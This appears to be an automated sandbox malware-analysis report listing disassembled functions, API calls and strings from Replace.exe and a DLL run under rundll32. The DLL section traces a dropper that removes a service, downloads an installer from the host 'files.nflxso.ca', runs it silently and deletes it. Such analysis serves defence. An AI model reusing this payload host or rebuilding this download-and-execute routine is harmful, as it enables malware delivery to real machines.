Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3844a8e965091c76b159446659c498e34039480d25ef15a3ade92253f53aec35
Instruction ID: 29da500f8a87ad32ff5d333a7c74a1a66434d7b6e8199687a637bdea240340fc
Opcode Fuzzy Hash: 3844a8e965091c76b159446659c498e34039480d25ef15a3ade92253f53aec35
Instruction Fuzzy Hash: D551AD72600207EFEB299F14D881F7AB7E6EB04B00F2481FEE91597292E731AD41C790

Uniqueness

Uniqueness Score: -1.00%

Function 00BD2935 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00BD2F57: _free.LIBCMT ref: 00BD2F65

Part of subcall function 00BD3B2B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00BD6B3F,0000FDE9,00000000,?,?,?,00BD68B8,0000FDE9,00000000,?), ref: 00BD3BD7

GetLastError.KERNEL32 ref: 00BD299D
__dosmaperr.LIBCMT ref: 00BD29A4
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00BD29E3
__dosmaperr.LIBCMT ref: 00BD29EA

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 965485f4e9c6e5e98290195d126b144f6968b8deea70db43f29e939b1ee49bcc
Instruction ID: b09ffdb0f749d468a834c04686d060b42015465feca7778aa7445c41da1b4d12
Opcode Fuzzy Hash: 965485f4e9c6e5e98290195d126b144f6968b8deea70db43f29e939b1ee49bcc
Instruction Fuzzy Hash: 8421C471604255BF9B20AF658CD092BF7ECEF2436471049A7F82997345FB34EC019BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00BD1F74 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00BD0380,00BE47D8,0000000C), ref: 00BD1F79
_free.LIBCMT ref: 00BD1FD6
_free.LIBCMT ref: 00BD200C
SetLastError.KERNEL32(00000000,00000005,000000FF,?,?,00BD0380,00BE47D8,0000000C), ref: 00BD2017

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 0a7d515ee619d94371fd60ecfa8b01a382a90f09b5531bc6c99879648b7622e1
Instruction ID: 7ec6e051e0a3b53b1bac4e962bcdb42a26ae63734be8f8f8451276a5f475f28e
Opcode Fuzzy Hash: 0a7d515ee619d94371fd60ecfa8b01a382a90f09b5531bc6c99879648b7622e1
Instruction Fuzzy Hash: FD11A7323055A07A9621776D6CC1D2BA7DADBA07B572405A7FA28C73A2FF254C055510

Uniqueness

Uniqueness Score: -1.00%

Function 00BD20CB Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000072,-00000086,00000001,00BD1B90,00BD27C0,-00000126,?,00BCC0D5,-00000086,00000022,00BB16C5,00000008,74DF2EE0,00BCB6C9), ref: 00BD20D0
_free.LIBCMT ref: 00BD212D
_free.LIBCMT ref: 00BD2163
SetLastError.KERNEL32(00000000,00000005,000000FF,?,00BCC0D5,-00000086,00000022,00BB16C5,00000008,74DF2EE0,00BCB6C9), ref: 00BD216E

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 4324b912107885ae4042dc34db38136d17390fa7a906ccd80dbb00045f695942
Instruction ID: 5147b2973eeb7de31986ef24f578c60b6aa2c9d9321b8615a2bff0533d420279
Opcode Fuzzy Hash: 4324b912107885ae4042dc34db38136d17390fa7a906ccd80dbb00045f695942
Instruction Fuzzy Hash: 6E110C322065E17AD6216778ACC5D2BA7DADBF07B172102E7FB24D73E2FE218C055510

Uniqueness

Uniqueness Score: -1.00%

Function 00BB3583 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BB358A

Part of subcall function 00BB227E: CreateFileA.KERNEL32(00000000,?,?,00000000,00000000,?,00000000), ref: 00BB22B6

CloseHandle.KERNEL32(?,?,00000000,00000001,00000003,02000000,00000040,00BB353A,?,?,?,00000054,00BB2D36,00000000,00000000), ref: 00BB35C0
GetFileInformationByHandle.KERNEL32(?,-00000022,?,00000000,00000001,00000003,02000000,00000040,00BB353A,?,?,?,00000054,00BB2D36,00000000,00000000), ref: 00BB35CF
CloseHandle.KERNEL32(?,?,00000054,00BB2D36,00000000,00000000), ref: 00BB35E3

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: Handle$CloseFile$CreateH_prolog3_Information
String ID:
API String ID: 2437482437-0
Opcode ID: 876788944dfb2e29d30ef352151e5ae7c196d4ef94ce62469f45162f7d75156c
Instruction ID: ec91e17402a0ca29e9e65fba63d39ab5543dc27399b273d540e4fa85bc24dd7c
Opcode Fuzzy Hash: 876788944dfb2e29d30ef352151e5ae7c196d4ef94ce62469f45162f7d75156c
Instruction Fuzzy Hash: 9421FA70D01704DBDB28CFA4E854A9DBBF1BF18710F10866EE46AA7390D7716A06CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2FA4 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00BB2EDD: FindClose.KERNEL32(0000002A,0000002A,00BB2F26,?,?,00000001), ref: 00BB2EE7

SetLastError.KERNEL32(00000078,?,?,00000001), ref: 00BB2FD6
SetLastError.KERNEL32(00000000,?,?,00000001), ref: 00BB2FF1
FindFirstStreamW.KERNELBASE(FFFFFBEF,00000000,?,00000000), ref: 00BB3003
GetLastError.KERNEL32 ref: 00BB3010

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorLast$Find$CloseFirstStream
String ID:
API String ID: 4071060300-0
Opcode ID: b1fcba3cea5a37e0649b47565ad0eb6809473fa1cf6b70ecf157e5754037c8b0
Instruction ID: 6b9df901f19dc21a37e36a516e03e820dcb69a02f09102c70a99bb83bd7dfa9c
Opcode Fuzzy Hash: b1fcba3cea5a37e0649b47565ad0eb6809473fa1cf6b70ecf157e5754037c8b0
Instruction Fuzzy Hash: 6911A031504208DFCB20AF64DC89BFAB3F9EB55711F10469AE91597290DFB09A84CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00BB251E Relevance: 6.0, APIs: 4, Instructions: 33filetimeCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000078), ref: 00BB2529
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00BB2548
SetFileTime.KERNEL32(00000000,00000000,00000000,?,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00BB255C
CloseHandle.KERNEL32(00000000,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00BB2568

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID:
API String ID: 2291555494-0
Opcode ID: 85ddb4bf0223cd396487083e95c7ecbf4b18e77ce02b776532418dc67d95b5b5
Instruction ID: 6f9892523368345a8208775d47647e9164cba89bd3f09c96de76105c5f2d4aae
Opcode Fuzzy Hash: 85ddb4bf0223cd396487083e95c7ecbf4b18e77ce02b776532418dc67d95b5b5
Instruction Fuzzy Hash: AFF0E570582318BFF3201B30ACA8FBB678DEF15354F014246F161A70E09B944E099370

Uniqueness

Uniqueness Score: -1.00%

Function 00BD7696 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00BD70F4,00000000,00000001,00000000,00000000,?,00BD658E,?,?,00000000), ref: 00BD76AD
GetLastError.KERNEL32(?,00BD70F4,00000000,00000001,00000000,00000000,?,00BD658E,?,?,00000000,?,00000000,?,00BD6ADA,00000020), ref: 00BD76B9

Part of subcall function 00BD767F: CloseHandle.KERNEL32(FFFFFFFE,00BD76C9,?,00BD70F4,00000000,00000001,00000000,00000000,?,00BD658E,?,?,00000000,?,00000000), ref: 00BD768F

___initconout.LIBCMT ref: 00BD76C9

Part of subcall function 00BD7641: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00BD7670,00BD70E1,00000000,?,00BD658E,?,?,00000000,?), ref: 00BD7654

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00BD70F4,00000000,00000001,00000000,00000000,?,00BD658E,?,?,00000000,?), ref: 00BD76DE

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 69fd18e5c2a0a1462d7b1faf08b73286d9cdb2bae0fb2391aad7b870d185a9ad
Instruction ID: 61c2a4b234c43bcdd6601cb1542c120be88a5cfa0ef30b747cfa8b6456d925a1
Opcode Fuzzy Hash: 69fd18e5c2a0a1462d7b1faf08b73286d9cdb2bae0fb2391aad7b870d185a9ad
Instruction Fuzzy Hash: A0F01C36045558FBCF222F96DC14DCEBFA6EB187A0B014052FA1886220FF32C820DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00BD161A Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BD1623

Part of subcall function 00BD1BFB: RtlFreeHeap.NTDLL(00000000,00000000,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?), ref: 00BD1C11
Part of subcall function 00BD1BFB: GetLastError.KERNEL32(?,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?,?), ref: 00BD1C23

_free.LIBCMT ref: 00BD1636
_free.LIBCMT ref: 00BD1647
_free.LIBCMT ref: 00BD1658

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dda4c30aac04319d6173a8c9764fc9581e8975240c3cdf388c111e25aec18b60
Instruction ID: 1ffd10b1539cdb91c931fefc26c0b2ec641e12223bc97f6bc35920891a31803b
Opcode Fuzzy Hash: dda4c30aac04319d6173a8c9764fc9581e8975240c3cdf388c111e25aec18b60
Instruction Fuzzy Hash: 16E04FB148D5E0BA86026F18BEC185A7BB5EF4871030018A7F5000B331EF3246939E84

Uniqueness

Uniqueness Score: -1.00%

Function 00BD083C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\Replace.exe, xrefs: 00BD087F, 00BD0886, 00BD08BC

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\Replace.exe
API String ID: 0-2253954093
Opcode ID: 46aa90ab370cff26dcf584201a7f8dd8160c3082742fc77ed68c89305273feda
Instruction ID: bc595db9276cba50870ad01fa2e3c2349eeac688334371df4d894d8954e9036e
Opcode Fuzzy Hash: 46aa90ab370cff26dcf584201a7f8dd8160c3082742fc77ed68c89305273feda
Instruction Fuzzy Hash: 5C417F71A14255AFDB11EB9D9C91AAEFBF8EB84710F1000A7E50497312FB758E40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00BCF5C5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00BCF5EA

Strings

MOC, xrefs: 00BCF5FC
RCC, xrefs: 00BCF604

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 5b9cf06caf7ac281f46df28f38fc3e9de252c1863fc78073b2cf3f71c5183b5e
Instruction ID: 8ee57d0b13e35e47f801d7b80e0d24eb222d0b44202a6e5d2ce2c1e26077e67f
Opcode Fuzzy Hash: 5b9cf06caf7ac281f46df28f38fc3e9de252c1863fc78073b2cf3f71c5183b5e
Instruction Fuzzy Hash: 9B41157290020AAFCF15DF98C981FAEBBB6FF48304F1480E9F915A6265E7359A50DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7FFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00BB802D
__aulldiv.LIBCMT ref: 00BB803F

Strings

3333, xrefs: 00BB8022, 00BB802C

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: __aulldiv
String ID: 3333
API String ID: 3732870572-2924271548
Opcode ID: 3b13e274155ec2addd8fb08deaf8594177a17d8cba0e21c3aec01a85280517bd
Instruction ID: 6f4be52c4ec8eedd79eb3e9324a007cf6da84f1d4688be6f8bd72630b566c946
Opcode Fuzzy Hash: 3b13e274155ec2addd8fb08deaf8594177a17d8cba0e21c3aec01a85280517bd
Instruction Fuzzy Hash: 17F096323002187BDB24695DCC46BEEBBDDCB847F1F48C026B7099D2D0D5B14804CA99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 7608, Parent PID: 7572COMMON

Execution Graph

Execution Coverage:	79.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	25.9%
Total number of Nodes:	85
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 6E2B1000 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 64
servicesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,?,?,?,?,?,?,6E2B16F2), ref: 6E2B100F
OpenServiceW.ADVAPI32(00000000,windowsnetservicehelper.exe,00010024,?,?,?,?,?,?,6E2B16F2), ref: 6E2B102B
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,6E2B16F2), ref: 6E2B1041
GetLastError.KERNEL32(?,?,?,?,?,?,6E2B16F2), ref: 6E2B104B
Sleep.KERNEL32(000001F4), ref: 6E2B106F
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,?,?,6E2B16F2), ref: 6E2B107B
DeleteService.ADVAPI32(00000000,?,?,?,?,?,?,6E2B16F2), ref: 6E2B1087
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,6E2B16F2), ref: 6E2B1096
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,6E2B16F2), ref: 6E2B109D

Strings

ServicesActive, xrefs: 6E2B1007
windowsnetservicehelper.exe, xrefs: 6E2B1025
2, xrefs: 6E2B1065

Memory Dump Source

Source File: 00000001.00000002.2143507846.000000006E2B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E2B0000, based on PE: true

Associated: 00000001.00000002.2143479302.000000006E2B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143530843.000000006E2B2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143553178.000000006E2B4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6e2b0000_rundll32.jbxd

Similarity

API ID: Service$CloseHandleOpen$ControlDeleteErrorLastManagerQuerySleepStatus
String ID: 2$ServicesActive$windowsnetservicehelper.exe
API String ID: 2697554486-1059962515
Opcode ID: 3050b5cd6083a3ccf45fb35937120563a16bc8976abfe8782140561c3c408ad8
Instruction ID: 846e2c65aef1c447b3ddf6d2c98dafca165e4896c1a1f211b3c8e120e285b75a
Opcode Fuzzy Hash: 3050b5cd6083a3ccf45fb35937120563a16bc8976abfe8782140561c3c408ad8
Instruction Fuzzy Hash: D111C277E44B4A6BE6115AE48C4CA7B36AEEF5679EB000C24FE11C2100E6F48489C771

Uniqueness

Uniqueness Score: -1.00%

Function 6E2B10AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 70
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 6E2B10BC
memset.MSVCRT ref: 6E2B10DC
Process32FirstW.KERNEL32(00000000,?), ref: 6E2B10F3
_wcsicmp.MSVCRT ref: 6E2B110C
OpenProcess.KERNEL32(00000001,00000000,?), ref: 6E2B1120
TerminateProcess.KERNEL32(00000000,00000009), ref: 6E2B112F
CloseHandle.KERNEL32(00000000), ref: 6E2B113E
Process32NextW.KERNEL32(00000000,?), ref: 6E2B114F
GetLastError.KERNEL32 ref: 6E2B1159
FindCloseChangeNotification.KERNEL32(00000000), ref: 6E2B1160

Strings

windowsnetservicehelper.exe, xrefs: 6E2B1106

Memory Dump Source

Source File: 00000001.00000002.2143507846.000000006E2B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E2B0000, based on PE: true

Associated: 00000001.00000002.2143479302.000000006E2B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143530843.000000006E2B2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143553178.000000006E2B4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6e2b0000_rundll32.jbxd

Similarity

API ID: CloseProcessProcess32$ChangeCreateErrorFindFirstHandleLastNextNotificationOpenSnapshotTerminateToolhelp32_wcsicmpmemset
String ID: windowsnetservicehelper.exe
API String ID: 4188211969-237555702
Opcode ID: 15f1d4da425901a746c2dd868e109e218afcc4091fc53ceeaef81e23db5792c3
Instruction ID: e509655257f2ed59784c7ce2552a95d15223d1ed8bcb121b16b9fb0f61cb6254
Opcode Fuzzy Hash: 15f1d4da425901a746c2dd868e109e218afcc4091fc53ceeaef81e23db5792c3
Instruction Fuzzy Hash: 941186B3A007156BDB101BF59C8CF9B36AEEF4A25AF040565F916D2141E6B08949CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6E2B13B4 Relevance: 68.5, APIs: 29, Strings: 10, Instructions: 221
filesleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinHttpOpen.WINHTTP(Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999,00000000,00000000,00000000,00000000,00000000,?,6E2B17E0), ref: 6E2B13CB
WinHttpConnect.WINHTTP(00000000,files.nflxso.ca,00000000,00000000,00000000,?,6E2B17E0), ref: 6E2B13E8
WinHttpOpenRequest.WINHTTP(00000000,GET,/downloads/winapp/latest-installer.exe,00000000,00000000,?), ref: 6E2B1420
WinHttpSendRequest.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6E2B1437
WinHttpReceiveResponse.WINHTTP(00000000,00000000), ref: 6E2B1447
GetTempPathW.KERNEL32(00000104,?), ref: 6E2B1462
GetTempFileNameW.KERNEL32(?,wnshd,00000000,?), ref: 6E2B1486
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 6E2B14AB
WinHttpQueryDataAvailable.WINHTTP(00000000,?), ref: 6E2B14CE
WinHttpReadData.WINHTTP(00000000,?,?,?), ref: 6E2B14FD
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6E2B151A
Sleep.KERNEL32(0000000A), ref: 6E2B1526
WinHttpQueryDataAvailable.WINHTTP(00000000,?), ref: 6E2B1536
CloseHandle.KERNEL32(?), ref: 6E2B1555
wcscpy.MSVCRT ref: 6E2B156C
wcscat.MSVCRT ref: 6E2B1590
wcscat.MSVCRT ref: 6E2B159F
wcscat.MSVCRT ref: 6E2B15BA
wcscat.MSVCRT ref: 6E2B15C9
memset.MSVCRT ref: 6E2B15DC
memset.MSVCRT ref: 6E2B15EE
CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00800000), ref: 6E2B1613
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00800000,?,?,6E2B17E0), ref: 6E2B1623
CloseHandle.KERNEL32(?,?,?,?,00800000,?,?,6E2B17E0), ref: 6E2B162D
CloseHandle.KERNEL32(?,?,?,?,00800000,?,?,6E2B17E0), ref: 6E2B1633
DeleteFileW.KERNEL32(?,?,?,?,00800000,?,?,6E2B17E0), ref: 6E2B163D
WinHttpCloseHandle.WINHTTP(00000000), ref: 6E2B164F
WinHttpCloseHandle.WINHTTP(00000000), ref: 6E2B1656
WinHttpCloseHandle.WINHTTP(00000000,?,6E2B17E0), ref: 6E2B165E

Strings

GET, xrefs: 6E2B1416
D, xrefs: 6E2B15E4
*/*, xrefs: 6E2B1406
wscsu.exe /S, xrefs: 6E2B1566
files.nflxso.ca, xrefs: 6E2B13E2
/STATUSDAT=, xrefs: 6E2B158A
wnshd, xrefs: 6E2B1479
/downloads/winapp/latest-installer.exe, xrefs: 6E2B1411
/VERPOSTFIX=, xrefs: 6E2B15B4
Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999, xrefs: 6E2B13C6

Memory Dump Source

Source File: 00000001.00000002.2143507846.000000006E2B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E2B0000, based on PE: true

Associated: 00000001.00000002.2143479302.000000006E2B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143530843.000000006E2B2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2143553178.000000006E2B4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6e2b0000_rundll32.jbxd

Similarity

API ID: Http$CloseHandle$Filewcscat$Data$AvailableCreateOpenQueryRequestTempmemset$ConnectDeleteNameObjectPathProcessReadReceiveResponseSendSingleSleepWaitWritewcscpy
String ID: /STATUSDAT=$ /VERPOSTFIX=$*/*$/downloads/winapp/latest-installer.exe$D$GET$Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999$files.nflxso.ca$wnshd$wscsu.exe /S
API String ID: 34256906-2308794090
Opcode ID: 4c52dade6601d40958041cb7513b85b142009a769407bf804102b40be44dec95
Instruction ID: 9d440a6ae5e48aad6d072df48017d6c038c3546c04cb7367d416f599f89fdef3
Opcode Fuzzy Hash: 4c52dade6601d40958041cb7513b85b142009a769407bf804102b40be44dec95
Instruction Fuzzy Hash: EE618EB290434AAFDB208FA18C4CE9B7BAEEF96748F044D19BA55D3140DB70D548CB72

Uniqueness

Uniqueness Score: -1.00%

Function 6E2B1670 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 117
stringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 6E2B168E
mbstowcs.MSVCRT ref: 6E2B16A1
strstr.MSVCRT ref: 6E2B16B0
